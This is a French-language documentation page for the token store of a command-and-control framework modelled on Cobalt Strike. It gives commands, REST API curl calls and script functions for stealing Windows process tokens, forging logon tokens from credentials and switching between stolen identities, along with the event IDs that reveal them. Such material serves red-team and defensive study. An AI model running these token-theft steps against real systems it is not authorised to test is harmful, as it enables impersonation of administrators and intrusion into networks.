Aller au contenu

Magasin de jetons

Le magasin de jetons assure une gestion persistante des jetons sur tous les commutateurs d'usurpation d'identité. Les jetons volés dans les processus ou créés avec des informations d'identification sont stockés sous forme de doublons indépendants qui survivent à rev2self. Les opérateurs peuvent répertorier, basculer entre et supprimer les jetons stockés sans les voler à nouveau.

Cela correspond au comportement du magasin de jetons Cobalt Strike v4.12.


Commandes du magasin de jetons

Commande Syntaxe Description ONGLET
token_store_steal token_store_steal <pid> Voler, usurper l'identité et stocker un jeton de manière atomique T1134.001
token_store_show token_store_show Lister tous les jetons stockés --
token_store_use token_store_use <id> Passer à un jeton stocké par ID T1134.001
token_store_remove token_store_remove <id> Supprimer un jeton du magasin --
token_store_remove_all token_store_remove_all Effacer tout le magasin de jetons --

Commandes de base des jetons

Commande Syntaxe Description ONGLET
steal_token steal_token <pid> Voler et usurper l'identité (non stocké) T1134.001
make_token make_token <DOMAIN\user> <password> Créer un jeton de connexion réseau T1134.002
rev2self rev2self Revenir à l'identité d'origine --
getuid getuid Interroger l'identité actuelle --
getprivs getprivs Activer tous les privilèges disponibles --

Flux de travail du magasin de jetons

sequenceDiagram
    participant Op as Operator
    participant BC as Beacon
    participant TM as Token Manager

    Op->>BC: token_store_steal 1234
    BC->>TM: OpenProcess(1234) → DuplicateToken
    TM->>TM: Store token (ID=1)
    TM->>TM: Impersonate DOMAIN\DomainAdmin
    BC-->>Op: [+] Impersonating DOMAIN\DomainAdmin (stored ID=1)

    Op->>BC: token_store_steal 5678
    TM->>TM: Store token (ID=2)
    TM->>TM: Impersonate DOMAIN\svc_sql
    BC-->>Op: [+] Impersonating DOMAIN\svc_sql (stored ID=2)

    Op->>BC: token_store_use 1
    TM->>TM: Switch to stored ID=1
    BC-->>Op: [+] Switched to DOMAIN\DomainAdmin

    Op->>BC: rev2self
    TM->>TM: Revert (tokens still in store)
    BC-->>Op: [*] Reverted to original identity

    Op->>BC: token_store_use 2
    TM->>TM: Re-impersonate ID=2
    BC-->>Op: [+] Switched to DOMAIN\svc_sql

Référence des commandes

token_store_steal <pid>

Volez atomiquement un jeton à un processus, usurpez-le et stockez-le dans le magasin de jetons. Il s’agit d’une seule opération aller-retour (et non de deux tâches distinctes).

Syntaxe du shell :

token_store_steal 1234

Exemple d'API :

# Via REST endpoint
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/token/steal" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"pid": 1234}'

Scripts CNA :

btoken_store_steal($bid, 1234);

token_store_show

Répertoriez tous les jetons actuellement dans le magasin avec leurs métadonnées.

Syntaxe du shell :

token_store_show

Exemple d'API :

curl -s "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/token/list" \
  -H "Authorization: Bearer $TOKEN"

Exemple de résultat :

Token Store (3 entries):

  ID  Type     PID   Username              SID
  --  ----     ---   --------              ---
  1   stolen   1234  CORP\DomainAdmin      S-1-5-21-...-512
  2   stolen   5678  CORP\svc_sql          S-1-5-21-...-1105
  3   created  --    CORP\jsmith (network) S-1-5-21-...-1103

Scripts CNA :

btoken_store_show($bid);

token_store_use <id>

Basculez vers un jeton précédemment stocké grâce à son identifiant de magasin.

Syntaxe du shell :

token_store_use 1

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/token/use" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"store_id": 1}'

Scripts CNA :

btoken_store_use($bid, 1);

token_store_remove <id>

Supprimez un jeton spécifique du magasin et fermez sa poignée.

Syntaxe du shell :

token_store_remove 2

Scripts CNA :

btoken_store_remove($bid, 2);

token_store_remove_all

Effacez l’intégralité du magasin de jetons, en fermant tous les handles stockés.

Syntaxe du shell :

token_store_remove_all

Scripts CNA :

btoken_store_remove_all($bid);

Modèle d'identité

Le gestionnaire de jetons distingue deux types d'usurpation d'identité :

Méthode Identité locale Identité du réseau Cas d'utilisation
steal_token Changé Changé Usurpation d'identité complète (local + réseau)
make_token Inchangé Changé Identifiants réseau uniquement (WMI, SMB, WinRM)
  • steal_token duplique un jeton de processus existant. Changement d'identité locale et réseau pour le propriétaire du jeton
  • make_token crée un jeton de connexion avec LogonUser(LOGON32_LOGON_NEW_CREDENTIALS). L'identité locale du beacon reste la même, mais les opérations réseau s'authentifient en tant qu'utilisateur spécifié

Magasin de jetons et commandes de base

Utilisez token_store_steal au lieu de steal_token lorsque vous envisagez de basculer entre plusieurs identités. Les jetons stockés survivent à rev2self et peuvent être réutilisés sans être volés à nouveau lors du processus d'origine.

Stockage automatique des jetons

Depuis la version 20.0, steal_token et make_token stockent automatiquement les jetons dans le coffre-fort de jetons aux côtés des commandes explicites token_store_*. Chaque opération de jeton enregistre des métadonnées pour le suivi opérationnel :

Métadonnées Description
Identifiant du magasin Identifiant à incrémentation automatique du jeton
Source stolen (à partir du processus) ou created (à partir des informations d'identification)
PID ID du processus source (pour les jetons volés)
Niveau d'intégrité Niveau d'intégrité du jeton (faible/moyen/élevé/système) via la vérification de la sous-autorité SID
Nom d'utilisateur Identité du propriétaire du jeton (format DOMAINE\utilisateur)
Horodatage Quand le jeton a été acquis
Actif Si ce jeton est actuellement usurpé

Les échecs de stockage automatique ne sont pas fatals : l'opération réussit et renvoie storeID=0 en cas d'échec du stockage. L'ID de magasin actif est suivi sur plusieurs plates-formes (défini dans tokenmanager.go).

Indicateur d'interface utilisateur

L'interface utilisateur de l'opérateur affiche un texte d'information lorsque steal_token ou make_token est utilisé, confirmant que le jeton a été automatiquement stocké. Utilisez token_store_show pour voir tous les jetons stockés avec leurs métadonnées, y compris les niveaux d'intégrité.


Points de terminaison de l'API REST

Méthode Point de terminaison Description
GET /api/v1/c2/beacons/:id/token/list Liste des jetons stockés
POST /api/v1/c2/beacons/:id/token/steal Voler et stocker un jeton
POST /api/v1/c2/beacons/:id/token/make Créer un jeton avec des informations d'identification
POST /api/v1/c2/beacons/:id/token/use Passer au jeton stocké
POST /api/v1/c2/beacons/:id/token/revert Revenir à l'identité d'origine
POST /api/v1/c2/beacons/:id/token/getprivs Activer tous les privilèges

Considérations OPSEC

  • steal_token / token_store_steal ouvre un handle vers le processus cible (PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE) - génère l'ID d'événement Sysmon 10
  • make_token appelle LogonUser qui génère l'ID d'événement 4624 (Type de connexion 9 - NewCredentials)
  • L'usurpation d'identité du jeton est locale au thread sous Windows ; le gestionnaire épingle la goroutine à un thread du système d'exploitation via runtime.LockOSThread()
  • Les jetons stockés sont des doublons indépendants : ils restent valides même si le processus source se termine
  • MITRE ATT&CK : T1134.001 (usurpation d'identité/vol de jeton), T1134.002 (créer un processus avec un jeton)